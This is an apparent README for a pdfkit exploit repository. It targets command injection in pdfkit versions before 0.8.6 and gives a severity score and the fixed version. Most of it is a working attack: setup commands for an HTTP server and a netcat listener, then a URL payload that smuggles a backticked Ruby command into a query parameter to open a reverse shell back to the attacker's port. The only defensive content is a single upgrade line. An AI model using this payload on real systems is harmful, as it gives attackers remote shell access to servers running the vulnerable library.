pdfkit-Exploit-Reverse-Shell
All < 0.8.6 versions of this package are vulnerable to Command Injection where the URL is not properly sanitized.
Severity
Critical 9.8/10
Note
This issue was originally addressed in 0.8.7, but the fix was not complete. A complete fix was released in 0.8.7.2.
Pre-requisites setup
- HTTP Server
- python3 -m http.server 9090
- Netcat Listener
- nc -lvnp 4444
Reverse Ruby shell
1
http://LOCAL-IP:9090/?name=%20`ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("LOCAL-IP",4444))'`
How to fix?
Upgrade pdfkit to version 0.8.7.2 or higher.